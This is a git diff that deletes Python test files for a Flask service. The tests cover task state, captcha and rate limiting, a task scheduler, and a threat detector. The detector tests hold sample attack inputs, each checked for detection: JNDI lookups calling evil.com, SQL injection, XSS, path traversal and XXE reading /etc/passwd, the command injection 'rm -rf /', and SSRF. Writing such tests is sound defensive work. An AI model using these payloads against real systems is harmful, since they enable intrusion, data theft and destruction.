@app.get("/api/context")
|
||||
def _context():
|
||||
strategy = getattr(g, "response_strategy", None)
|
||||
action = getattr(getattr(strategy, "action", None), "value", None)
|
||||
return jsonify({"risk_score": getattr(g, "risk_score", None), "action": action})
|
||||
|
||||
resp = _client_get(app, "/api/context", ip="8.8.8.8")
|
||||
assert resp.status_code == 200
|
||||
assert resp.get_json() == {"risk_score": 0, "action": "allow"}
|
||||
@@ -1,77 +0,0 @@
|
||||
import threading
|
||||
import time
|
||||
|
||||
from services import state
|
||||
|
||||
|
||||
def test_task_status_returns_copy():
|
||||
account_id = "acc_test_copy"
|
||||
state.safe_set_task_status(account_id, {"status": "运行中", "progress": {"items": 1}})
|
||||
|
||||
snapshot = state.safe_get_task_status(account_id)
|
||||
snapshot["status"] = "已修改"
|
||||
|
||||
snapshot2 = state.safe_get_task_status(account_id)
|
||||
assert snapshot2["status"] == "运行中"
|
||||
|
||||
|
||||
def test_captcha_roundtrip():
|
||||
session_id = "captcha_test"
|
||||
state.safe_set_captcha(session_id, {"code": "1234", "expire_time": time.time() + 60, "failed_attempts": 0})
|
||||
|
||||
ok, msg = state.safe_verify_and_consume_captcha(session_id, "1234", max_attempts=5)
|
||||
assert ok, msg
|
||||
|
||||
ok2, _ = state.safe_verify_and_consume_captcha(session_id, "1234", max_attempts=5)
|
||||
assert not ok2
|
||||
|
||||
|
||||
def test_ip_rate_limit_locking():
|
||||
ip = "203.0.113.9"
|
||||
ok, msg = state.check_ip_rate_limit(ip, max_attempts_per_hour=2, lock_duration_seconds=10)
|
||||
assert ok and msg is None
|
||||
|
||||
locked = state.record_failed_captcha(ip, max_attempts_per_hour=2, lock_duration_seconds=10)
|
||||
assert locked is False
|
||||
locked2 = state.record_failed_captcha(ip, max_attempts_per_hour=2, lock_duration_seconds=10)
|
||||
assert locked2 is True
|
||||
|
||||
ok3, msg3 = state.check_ip_rate_limit(ip, max_attempts_per_hour=2, lock_duration_seconds=10)
|
||||
assert ok3 is False
|
||||
assert "锁定" in (msg3 or "")
|
||||
|
||||
|
||||
def test_batch_finalize_after_dispatch():
|
||||
batch_id = "batch_test"
|
||||
now_ts = time.time()
|
||||
state.safe_create_batch(
|
||||
batch_id,
|
||||
{"screenshots": [], "total_accounts": 0, "completed": 0, "created_at": now_ts, "updated_at": now_ts},
|
||||
)
|
||||
state.safe_batch_append_result(batch_id, {"path": "a.png"})
|
||||
state.safe_batch_append_result(batch_id, {"path": "b.png"})
|
||||
|
||||
batch_info = state.safe_finalize_batch_after_dispatch(batch_id, total_accounts=2, now_ts=time.time())
|
||||
assert batch_info is not None
|
||||
assert batch_info["completed"] == 2
|
||||
|
||||
|
||||
def test_state_thread_safety_smoke():
|
||||
errors = []
|
||||
|
||||
def worker(i: int):
|
||||
try:
|
||||
aid = f"acc_{i % 10}"
|
||||
state.safe_set_task_status(aid, {"status": "运行中", "i": i})
|
||||
_ = state.safe_get_task_status(aid)
|
||||
except Exception as exc: # pragma: no cover
|
||||
errors.append(exc)
|
||||
|
||||
threads = [threading.Thread(target=worker, args=(i,)) for i in range(200)]
|
||||
for t in threads:
|
||||
t.start()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
assert not errors
|
||||
|
||||
@@ -1,146 +0,0 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import threading
|
||||
import time
|
||||
|
||||
from services.tasks import TaskScheduler
|
||||
|
||||
|
||||
def test_task_scheduler_vip_priority(monkeypatch):
|
||||
calls: list[str] = []
|
||||
blocker_started = threading.Event()
|
||||
blocker_release = threading.Event()
|
||||
|
||||
def fake_run_task(*, user_id, account_id, **kwargs):
|
||||
calls.append(account_id)
|
||||
if account_id == "block":
|
||||
blocker_started.set()
|
||||
blocker_release.wait(timeout=5)
|
||||
|
||||
import services.tasks as tasks_mod
|
||||
|
||||
monkeypatch.setattr(tasks_mod, "run_task", fake_run_task)
|
||||
|
||||
scheduler = TaskScheduler(max_global=1, max_per_user=1, max_queue_size=10)
|
||||
try:
|
||||
ok, _ = scheduler.submit_task(user_id=1, account_id="block", browse_type="应读", is_vip=False)
|
||||
assert ok
|
||||
assert blocker_started.wait(timeout=2)
|
||||
|
||||
ok2, _ = scheduler.submit_task(user_id=1, account_id="normal", browse_type="应读", is_vip=False)
|
||||
ok3, _ = scheduler.submit_task(user_id=2, account_id="vip", browse_type="应读", is_vip=True)
|
||||
assert ok2 and ok3
|
||||
|
||||
blocker_release.set()
|
||||
|
||||
deadline = time.time() + 3
|
||||
while time.time() < deadline:
|
||||
if calls[:3] == ["block", "vip", "normal"]:
|
||||
break
|
||||
time.sleep(0.05)
|
||||
|
||||
assert calls[:3] == ["block", "vip", "normal"]
|
||||
finally:
|
||||
scheduler.shutdown(timeout=2)
|
||||
|
||||
|
||||
def test_task_scheduler_per_user_concurrency(monkeypatch):
|
||||
started: list[str] = []
|
||||
a1_started = threading.Event()
|
||||
a1_release = threading.Event()
|
||||
a2_started = threading.Event()
|
||||
|
||||
def fake_run_task(*, user_id, account_id, **kwargs):
|
||||
started.append(account_id)
|
||||
if account_id == "a1":
|
||||
a1_started.set()
|
||||
a1_release.wait(timeout=5)
|
||||
if account_id == "a2":
|
||||
a2_started.set()
|
||||
|
||||
import services.tasks as tasks_mod
|
||||
|
||||
monkeypatch.setattr(tasks_mod, "run_task", fake_run_task)
|
||||
|
||||
scheduler = TaskScheduler(max_global=2, max_per_user=1, max_queue_size=10)
|
||||
try:
|
||||
ok, _ = scheduler.submit_task(user_id=1, account_id="a1", browse_type="应读", is_vip=False)
|
||||
assert ok
|
||||
assert a1_started.wait(timeout=2)
|
||||
|
||||
ok2, _ = scheduler.submit_task(user_id=1, account_id="a2", browse_type="应读", is_vip=False)
|
||||
assert ok2
|
||||
|
||||
# 同一用户并发=1：a2 不应在 a1 未结束时启动
|
||||
assert not a2_started.wait(timeout=0.3)
|
||||
|
||||
a1_release.set()
|
||||
assert a2_started.wait(timeout=2)
|
||||
assert started[0] == "a1"
|
||||
assert "a2" in started
|
||||
finally:
|
||||
scheduler.shutdown(timeout=2)
|
||||
|
||||
|
||||
def test_task_scheduler_cancel_pending(monkeypatch):
|
||||
calls: list[str] = []
|
||||
blocker_started = threading.Event()
|
||||
blocker_release = threading.Event()
|
||||
|
||||
def fake_run_task(*, user_id, account_id, **kwargs):
|
||||
calls.append(account_id)
|
||||
if account_id == "block":
|
||||
blocker_started.set()
|
||||
blocker_release.wait(timeout=5)
|
||||
|
||||
import services.tasks as tasks_mod
|
||||
|
||||
monkeypatch.setattr(tasks_mod, "run_task", fake_run_task)
|
||||
|
||||
scheduler = TaskScheduler(max_global=1, max_per_user=1, max_queue_size=10)
|
||||
try:
|
||||
ok, _ = scheduler.submit_task(user_id=1, account_id="block", browse_type="应读", is_vip=False)
|
||||
assert ok
|
||||
assert blocker_started.wait(timeout=2)
|
||||
|
||||
ok2, _ = scheduler.submit_task(user_id=1, account_id="to_cancel", browse_type="应读", is_vip=False)
|
||||
assert ok2
|
||||
|
||||
assert scheduler.cancel_pending_task(user_id=1, account_id="to_cancel") is True
|
||||
|
||||
blocker_release.set()
|
||||
time.sleep(0.3)
|
||||
assert "to_cancel" not in calls
|
||||
finally:
|
||||
scheduler.shutdown(timeout=2)
|
||||
|
||||
|
||||
def test_task_scheduler_queue_full(monkeypatch):
|
||||
blocker_started = threading.Event()
|
||||
blocker_release = threading.Event()
|
||||
|
||||
def fake_run_task(*, user_id, account_id, **kwargs):
|
||||
if account_id == "block":
|
||||
blocker_started.set()
|
||||
blocker_release.wait(timeout=5)
|
||||
|
||||
import services.tasks as tasks_mod
|
||||
|
||||
monkeypatch.setattr(tasks_mod, "run_task", fake_run_task)
|
||||
|
||||
scheduler = TaskScheduler(max_global=1, max_per_user=1, max_queue_size=1)
|
||||
try:
|
||||
ok, _ = scheduler.submit_task(user_id=1, account_id="block", browse_type="应读", is_vip=False)
|
||||
assert ok
|
||||
assert blocker_started.wait(timeout=2)
|
||||
|
||||
ok2, _ = scheduler.submit_task(user_id=1, account_id="p1", browse_type="应读", is_vip=False)
|
||||
assert ok2
|
||||
|
||||
ok3, msg3 = scheduler.submit_task(user_id=1, account_id="p2", browse_type="应读", is_vip=False)
|
||||
assert ok3 is False
|
||||
assert "队列已满" in (msg3 or "")
|
||||
finally:
|
||||
blocker_release.set()
|
||||
scheduler.shutdown(timeout=2)
|
||||
|
||||
@@ -1,96 +0,0 @@
|
||||
from flask import Flask, request
|
||||
|
||||
from security import constants as C
|
||||
from security.threat_detector import ThreatDetector
|
||||
|
||||
|
||||
def test_jndi_direct_scores_100():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("${jndi:ldap://evil.com/a}", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
||||
|
||||
|
||||
def test_jndi_encoded_scores_100():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("%24%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fa%7D", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
||||
|
||||
|
||||
def test_jndi_obfuscated_scores_100():
|
||||
detector = ThreatDetector()
|
||||
payload = "${${::-j}${::-n}${::-d}${::-i}:rmi://evil.com/a}"
|
||||
results = detector.scan_input(payload, "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
||||
|
||||
|
||||
def test_nested_expression_scores_80():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("${${env:USER}}", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_NESTED_EXPRESSION and r.score == 80 for r in results)
|
||||
|
||||
|
||||
def test_sqli_union_select_scores_90():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("UNION SELECT password FROM users", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
|
||||
|
||||
|
||||
def test_sqli_or_1_eq_1_scores_90():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("a' OR 1=1 --", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_SQL_INJECTION and r.score == 90 for r in results)
|
||||
|
||||
|
||||
def test_xss_scores_70():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("<script>alert(1)</script>", "q")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_XSS and r.score == 70 for r in results)
|
||||
|
||||
|
||||
def test_path_traversal_scores_60():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("../../etc/passwd", "path")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_PATH_TRAVERSAL and r.score == 60 for r in results)
|
||||
|
||||
|
||||
def test_command_injection_scores_85():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("test; rm -rf /", "cmd")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_COMMAND_INJECTION and r.score == 85 for r in results)
|
||||
|
||||
|
||||
def test_ssrf_scores_75():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("http://127.0.0.1/admin", "url")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_SSRF and r.score == 75 for r in results)
|
||||
|
||||
|
||||
def test_xxe_scores_85():
|
||||
detector = ThreatDetector()
|
||||
payload = """<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>"""
|
||||
results = detector.scan_input(payload, "xml")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_XXE and r.score == 85 for r in results)
|
||||
|
||||
|
||||
def test_template_injection_scores_70():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("Hello {{ 7*7 }}", "tpl")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_TEMPLATE_INJECTION and r.score == 70 for r in results)
|
||||
|
||||
|
||||
def test_sensitive_path_probe_scores_40():
|
||||
detector = ThreatDetector()
|
||||
results = detector.scan_input("/.git/config", "path")
|
||||
assert any(r.threat_type == C.THREAT_TYPE_SENSITIVE_PATH_PROBE and r.score == 40 for r in results)
|
||||
|
||||
|
||||
def test_scan_request_picks_up_args():
|
||||
app = Flask(__name__)
|
||||
detector = ThreatDetector()
|
||||
|
||||
with app.test_request_context("/?q=${jndi:ldap://evil.com/a}"):
|
||||
results = detector.scan_request(request)
|
||||
assert any(r.field_name == "args.q" and r.threat_type == C.THREAT_TYPE_JNDI_INJECTION and r.score == 100 for r in results)
|
||||
Reference in New Issue
Block a user